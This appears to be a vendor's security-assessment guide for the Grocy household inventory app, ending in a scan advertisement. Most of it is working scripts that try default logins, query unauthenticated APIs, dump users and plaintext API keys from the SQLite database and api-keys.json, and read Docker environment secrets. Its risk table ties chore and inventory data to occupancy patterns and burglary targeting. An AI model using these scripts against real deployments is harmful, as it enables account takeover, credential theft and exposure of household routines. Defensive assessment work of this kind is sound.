Grocy is a widely deployed self-hosted household ERP application — it tracks grocery inventory, chore schedules, meal plans, shopping lists, and financial data for households. Key assessment areas: Grocy can be configured with no authentication for single-user deployments; the API key provides full access to all household tracking data; the SQLite database stores the complete household operational picture including product locations, expiry dates, and personal task lists; and GROCY_AUTH_CLASS configuration controls authentication mode. This guide covers systematic Grocy security assessment.
# Grocy — default credentials and demo mode testing
GROCY_URL="https://grocy.example.com"
# Grocy default credentials — varies by deployment method
for CRED in "admin:admin" "demo:demo" "grocy:grocy" "admin:password"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
RESULT=$(curl -s -c /tmp/gcjar -X POST "${GROCY_URL}/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=${USER}&password=${PASS}&_token=$(curl -s -c /tmp/gcjar ${GROCY_URL}/login | grep -oP 'csrf.*?value="\K[^"]+')" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${RESULT}"
done
# Check if demo mode is active (no authentication)
DEMO_CHECK=$(curl -s "${GROCY_URL}/api/system/info" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('grocy_version'):
print(f'UNAUTHENTICATED ACCESS: Grocy v{d.get(\"grocy_version\")}')
else:
print('Auth required or error')
" 2>/dev/null)
echo "$DEMO_CHECK"
# Check GROCY_AUTH_CLASS configuration
# If set to NoneAuthMiddleware or demo mode — no authentication
curl -s "${GROCY_URL}/api/system/config" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# May expose configuration details
print(f'Config keys: {list(d.keys())[:10]}')
" 2>/dev/null
# System info reveals version and database details
curl -s "${GROCY_URL}/api/system/info" \
-H "GROCY-API-KEY: your-api-key" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Grocy version: {d.get(\"grocy_version\")}')
print(f'PHP version: {d.get(\"php_version\")}')
print(f'SQLite version: {d.get(\"sqlite_version\")}')
print(f'Currency: {d.get(\"currency\")}')
" 2>/dev/null
# Grocy API key — household data access and enumeration
GROCY_URL="https://grocy.example.com"
GROCY_API_KEY="your-grocy-api-key"
# Get all products/grocery inventory
curl -s "${GROCY_URL}/api/stock" \
-H "GROCY-API-KEY: ${GROCY_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Stock items: {len(d)}')
for item in d[:10]:
print(f' [{item.get(\"product_id\")}] {item.get(\"product\",{}).get(\"name\")}')
print(f' amount={item.get(\"amount\")} location={item.get(\"location\",{}).get(\"name\")}')
print(f' best_before={str(item.get(\"best_before_date\",\"\"))[:10]}')
" 2>/dev/null
# Get all chores and their assignments
curl -s "${GROCY_URL}/api/chores" \
-H "GROCY-API-KEY: ${GROCY_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Chores: {len(d)}')
for c in d[:10]:
print(f' [{c.get(\"chore_id\")}] {c.get(\"chore\",{}).get(\"name\")}')
print(f' next_execution={str(c.get(\"next_estimated_execution_time\",\"\"))[:19]}')
print(f' last_done_by={c.get(\"last_done_by\",{}).get(\"display_name\")}')
" 2>/dev/null
# Get shopping list
curl -s "${GROCY_URL}/api/objects/shopping_list" \
-H "GROCY-API-KEY: ${GROCY_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Shopping list items: {len(d)}')
for item in d[:10]:
print(f' [{item.get(\"product_id\")}] amount={item.get(\"amount\")} note={item.get(\"note\",\"\")}')
" 2>/dev/null
# Get all users and their API keys
curl -s "${GROCY_URL}/api/users" \
-H "GROCY-API-KEY: ${GROCY_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Users: {len(d)}')
for u in d:
print(f' [{u.get(\"id\")}] {u.get(\"username\")} display={u.get(\"display_name\")}')
# api_key may be included in admin responses
if u.get('api_key'):
print(f' api_key={u.get(\"api_key\")}')
" 2>/dev/null
# Grocy SQLite database extraction
# Grocy data directory
ls /var/www/html/data/ 2>/dev/null | head -10
# grocy.db — main SQLite database
# api-keys.json — API key to user mapping
# Read API keys (may be in JSON or SQLite)
cat /var/www/html/data/api-keys.json 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'API keys: {len(d)}')
for key, userinfo in d.items():
print(f' key={key} user={userinfo}')
" 2>/dev/null
# SQLite database extraction
DB_PATH="/var/www/html/data/grocy.db"
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
-- All users
SELECT id, username, display_name,
password, -- hashed password
api_key -- plaintext API key
FROM users
ORDER BY id;
EOF
-- All products tracked in inventory
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT p.id, p.name,
p.description,
p.location_id,
p.calories,
p.cumulate_min_stock_amount_of_sub_products,
p.created_timestamp
FROM products p
ORDER BY p.created_timestamp DESC
LIMIT 30;
EOF
-- Tasks and personal to-do list
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT t.id, t.name,
t.description,
t.due_date,
t.done, t.done_timestamp,
u.username as assigned_to
FROM tasks t
LEFT JOIN users u ON t.assigned_to_user_id = u.id
ORDER BY t.created_timestamp DESC
LIMIT 20;
EOF
-- Docker environment
docker inspect grocy 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['GROCY','PASSWORD','AUTH','CURRENCY','TZ']):
print(e)
" 2>/dev/null
# GROCY_AUTH_CLASS — authentication class (NoneAuthMiddleware disables auth)
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credential testing | POST /login with admin/admin — access to full Grocy admin interface and API key generation; full household data access including inventory, chores, and personal task list | High |
| Unauthenticated API access via NoneAuthMiddleware | GET /api/system/info without credentials — if GROCY_AUTH_CLASS disables auth, all API endpoints accessible unauthenticated; complete household data enumeration without credentials | High |
| SQLite users table plaintext API key extraction | SELECT api_key FROM users — plaintext API keys for all accounts; persistent access to all household tracking data; unlike passwords, API keys stored unencrypted | High |
| Household chore and task schedule exposure | GET /api/chores and /api/objects/tasks — complete household schedule including when residents perform chores; reveals occupancy patterns and home activity schedules; useful for physical security assessment context | Medium |
| Grocery inventory and location data access | GET /api/stock with product locations — all tracked items with storage locations in the home; complete household inventory useful for burglary targeting in physical security contexts | Medium |
Ironimo tests Grocy deployments for default admin/admin credential testing, GROCY_AUTH_CLASS NoneAuthMiddleware unauthenticated API access, SQLite users table plaintext API key extraction, household chore and task schedule exposure, grocery inventory location data access, Docker GROCY_AUTH_CLASS configuration assessment, api-keys.json plaintext key file exposure, meal plan dietary data extraction, shopping list personal purchase data access, and medication/supplement tracking data if configured.
Start free scan